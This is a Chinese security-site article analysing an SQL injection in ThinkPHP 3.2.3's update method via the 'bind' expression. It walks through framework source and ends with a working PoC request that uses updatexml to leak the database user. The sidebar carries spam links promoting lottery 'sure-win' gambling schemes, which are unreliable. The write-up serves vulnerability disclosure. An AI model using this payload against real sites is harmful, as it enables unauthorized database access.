ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全安全文章 → Thinkphp3.2.3最新版update注入漏洞(含PoC)

Thinkphp3.2.3最新版update注入漏洞(含PoC)

时间:2018-05-22 08:35:39人气:作者:本站作者我要评论

简要描述

thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是普及度高于新出的thinkphp5系列,由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接,并且当传入数组未过滤时导致出现了SQL注入。

漏洞详情

这个问题很早之前就注意到了,只是一直没找到更常规的写法去导致注入的产生,在挖掘框架漏洞的标准是在使用官方的标准开发方式的前提下也会产生可以用的漏洞,这样才算框架级漏洞,跟普通的业务代码漏洞是有严格界线的。

thinkphp系列框架过滤表达式注入多半采用I函数去调用think_filter

 
  1. function think_filter(&$value){
  2. if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

where制定主键的数值,save方法去更新变量传进来的参数到数据库的指定位置。

 
  1. public function where($where,$parse=null){
  2.         if(!is_null($parse) && is_string($where)) {
  3.             if(!is_array($parse)) {
  4.                 $parse = func_get_args();
  5.                 array_shift($parse);
  6.             }
  7.             $parse = array_map(array($this->db,'escapeString'),$parse);
  8.             $where =   vsprintf($where,$parse);
  9.         }elseif(is_object($where)){
  10.             $where  =   get_object_vars($where);
  11.         }
  12.         if(is_string($where) && '' != $where){
  13.             $map    =   array();
  14.             $map['_string']   =   $where;
  15.             $where  =   $map;
  16.         }
  17.         if(isset($this->options['where'])){
  18.             $this->options['where'] =   array_merge($this->options['where'],$where);
  19.         }else{
  20.             $this->options['where'] =   $where;
  21.         }
  22.  
  23.         return $this;
  24.     }

通过where方法获取where()链式中进来的参数值,并对参数进行检查,是否为字符串,tp框架默认是对字符串进行过滤的

 
  1. public function save($data='',$options=array()) {
  2.         if(empty($data)) {
  3.             // 没有传递数据,获取当前数据对象的值
  4.             if(!empty($this->data)) {
  5.                 $data           =   $this->data;
  6.                 // 重置数据
  7.                 $this->data     =   array();
  8.             }else{
  9.                 $this->error    =   L('_DATA_TYPE_INVALID_');
  10.                 return false;
  11.             }
  12.         }
  13.         // 数据处理
  14.         $data       =   $this->_facade($data);
  15.         if(empty($data)){
  16.             // 没有数据则不执行
  17.             $this->error    =   L('_DATA_TYPE_INVALID_');
  18.             return false;
  19.         }
  20.         // 分析表达式
  21.         $options    =   $this->_parseOptions($options);
  22.         $pk         =   $this->getPk();
  23.         if(!isset($options['where']) ) {
  24.             // 如果存在主键数据 则自动作为更新条件
  25.             if (is_string($pk) && isset($data[$pk])) {
  26.                 $where[$pk]     =   $data[$pk];
  27.                 unset($data[$pk]);
  28.             } elseif (is_array($pk)) {
  29.                 // 增加复合主键支持
  30.                 foreach ($pk as $field) {
  31.                     if(isset($data[$field])) {
  32.                         $where[$field]      =   $data[$field];
  33.                     } else {
  34.                            // 如果缺少复合主键数据则不执行
  35.                         $this->error        =   L('_OPERATION_WRONG_');
  36.                         return false;
  37.                     }
  38.                     unset($data[$field]);
  39.                 }
  40.             }
  41.             if(!isset($where)){
  42.                 // 如果没有任何更新条件则不执行
  43.                 $this->error        =   L('_OPERATION_WRONG_');
  44.                 return false;
  45.             }else{
  46.                 $options['where']   =   $where;
  47.             }
  48.         }
  49.  
  50.         if(is_array($options['where']) && isset($options['where'][$pk])){
  51.             $pkValue    =   $options['where'][$pk];
  52.         }
  53.         if(false === $this->_before_update($data,$options)) {
  54.             return false;
  55.         }
  56.         $result     =   $this->db->update($data,$options);
  57.         if(false !== $result && is_numeric($result)) {
  58.             if(isset($pkValue)) $data[$pk]   =  $pkValue;
  59.             $this->_after_update($data,$options);
  60.         }
  61.         return $result;
  62.     }

再来到save方法,通过前面的数据处理解析服务端数据库中的数据字段信息,字段数据类型,再到_parseOptions表达式分析,获取到表名,数据表别名,记录操作的模型名称,再去调用回调函数进入update
我们这里先直接看框架的where子单元函数,之前网上公开的exp表达式注入就是从这里分析出来的结论:
Thinkphp/Library/Think/Db/Driver.class.php

 
  1. // where子单元分析
  2.     protected function parseWhereItem($key,$val) {
  3.         $whereStr = '';
  4.         if(is_array($val)) {
  5.             if(is_string($val[0])) {
  6.                 $exp    =    strtolower($val[0]);
  7.                 if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
  8.                     $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
  9.                 }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
  10.                     if(is_array($val[1])) {
  11.                         $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
  12.                         if(in_array($likeLogic,array('AND','OR','XOR'))){
  13.                             $like       =   array();
  14.                             foreach ($val[1] as $item){
  15.                                 $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
  16.                             }
  17.                             $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
  18.                         }
  19.                     }else{
  20.                         $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
  21.                     }
  22.                 }elseif('bind' == $exp ){ // 使用表达式
  23.                     $whereStr .= $key.' = :'.$val[1];
  24.                 }elseif('exp' == $exp ){ // 使用表达式
  25.                     $whereStr .= $key.' '.$val[1];
  26.                 }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
  27.                     if(isset($val[2]) && 'exp'==$val[2]) {
  28.                         $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
  29.                     }else{
  30.                         if(is_string($val[1])) {
  31.                              $val[1] =  explode(',',$val[1]);
  32.                         }
  33.                         $zone      =   implode(',',$this->parseValue($val[1]));
  34.                         $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
  35.                     }
  36.                 }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
  37.                     $data = is_string($val[1])? explode(',',$val[1]):$val[1];
  38.                     $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
  39.                 }else{
  40.                     E(L('_EXPRESS_ERROR_').':'.$val[0]);
  41.                 }
  42.             }else {
  43.                 $count = count($val);
  44.                 $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
  45.                 if(in_array($rule,array('AND','OR','XOR'))) {
  46.                     $count  = $count -1;
  47.                 }else{
  48.                     $rule   = 'AND';
  49.                 }
  50.                 for($i=0;$i<$count;$i++) {
  51.                     $data = is_array($val[$i])?$val[$i][1]:$val[$i];
  52.                     if('exp'==strtolower($val[$i][0])) {
  53.                         $whereStr .= $key.' '.$data.' '.$rule.' ';
  54.                     }else{
  55.                         $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
  56.                     }
  57.                 }
  58.                 $whereStr = '( '.substr($whereStr,0,-4).' )';
  59.             }
  60.         }else {
  61.             //对字符串类型字段采用模糊匹配
  62.             $likeFields   =   $this->config['db_like_fields'];
  63.             if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
  64.                 $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
  65.             }else {
  66.                 $whereStr .= $key.' = '.$this->parseValue($val);
  67.             }
  68.         }
  69.         return $whereStr;
  70.     }

其中除了exp能利用外还有一处bind,而bind可以完美避开了think_filter:

 
  1. elseif('bind' == $exp ){ // 使用表达式
  2.                     $whereStr .= $key.' = :'.$val[1];
  3.                 }elseif('exp' == $exp ){ // 使用表达式
  4.                     $whereStr .= $key.' '.$val[1];

这里由于拼接了$val参数的形式造成了注入,但是这里的bind表达式会引入:符号参数绑定的形式去拼接数据,通过白盒对几处CURD操作函数进行分析定位到update函数,insert函数会造成sql注入,于是回到上面的updateh函数。
Thinkphp/Library/Think/Db/Driver.class.php

 
  1. /**
  2.      * 更新记录
  3.      * @access public
  4.      * @param mixed $data 数据
  5.      * @param array $options 表达式
  6.      * @return false | integer
  7.      */
  8.     public function update($data,$options) {
  9.         $this->model  =   $options['model'];
  10.         $this->parseBind(!empty($options['bind'])?$options['bind']:array());
  11.         $table  =   $this->parseTable($options['table']);
  12.         $sql   = 'UPDATE ' . $table . $this->parseSet($data);
  13.         if(strpos($table,',')){// 多表更新支持JOIN操作
  14.             $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
  15.         }
  16.         $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
  17.         if(!strpos($table,',')){
  18.             //  单表更新支持order和lmit
  19.             $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
  20.                 .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
  21.         }
  22.         $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
  23.         return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
  24.     }
  25.  
  26. 跟进execute函数:
  27.  
  28. public function execute($str,$fetchSql=false) {
  29.         $this->initConnect(true);
  30.         if ( !$this->_linkID ) return false;
  31.         $this->queryStr = $str;
  32.         if(!empty($this->bind)){
  33.             $that   =   $this;
  34.             $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
  35.         }
  36.         if($fetchSql){
  37.             return $this->queryStr;
  38.         }
  39. 这里有处对$this->queryStr进行字符替换的操作:
 
  1. $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));

具体是什么,我这里写了一个实例:
常规的跟新数据库用户信息的操作:

 
  1. Application/Home/Controller/UserController.class.php
  2.  
  3. <?php
  4.  
  5. namespace HomeController;
  6. use ThinkController;
  7.  
  8. class UserController extends Controller {
  9.  
  10.     public function index(){
  11.  
  12.         $User = M("member");
  13.         $user['id'] = I('id');
  14.         $data['money'] = I('money');
  15.         $data['user'] = I('user');
  16.         $valu = $User->where($user)->save($data);
  17.         var_dump($valu);
  18.     }
  19. }

根据进来的id更新用户的名字和钱,构造一个简单一个poc
id[]=bind&id[]=1’&money[]=1123&user=liao 当走到execute函数时sql语句为:

 
  1. UPDATE `member` SET `user`=:0 WHERE `id` = :1'

然后$that = $this
然后下面的替换操作是将”:0”替换为外部传进来的字符串,这里就可控了。

明显发现之前的user参数为:0然后被替换为了liao,这样就把:替换掉了。
后面的:1明显是替换不掉的:

Thinkphp3.2.3最新版update注入漏洞(含PoC)

那么我们将id[1]数组的参数变为0呢?

 
  1. id[]=bind&id[]=0%27&money[]=1123&user=liao

Thinkphp3.2.3最新版update注入漏洞(含PoC)

果然造成了注入!

POC

 

 
  1. money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

 

相关文章

猜你喜欢

  • 深入解析浅谈《快3单双准确率方法》成功方案

    2022-09-28 /

  • 全网首发《快3单双大小必中方法技巧》思路汇总

    2022-09-28 /

  • 资深攻略《快3大小必中技巧》上岸方法

    2022-09-28 /

  • 【最准确的玩法】《回血上岸计划导师QQ》操作系列

    2022-09-28 /

  • 经验教程《导师一分快三计划》最新窍门

    2022-09-28 /

  • 高手教你《大小单双最安全的打法》三期必中

    2022-09-28 /

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

本类推荐

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网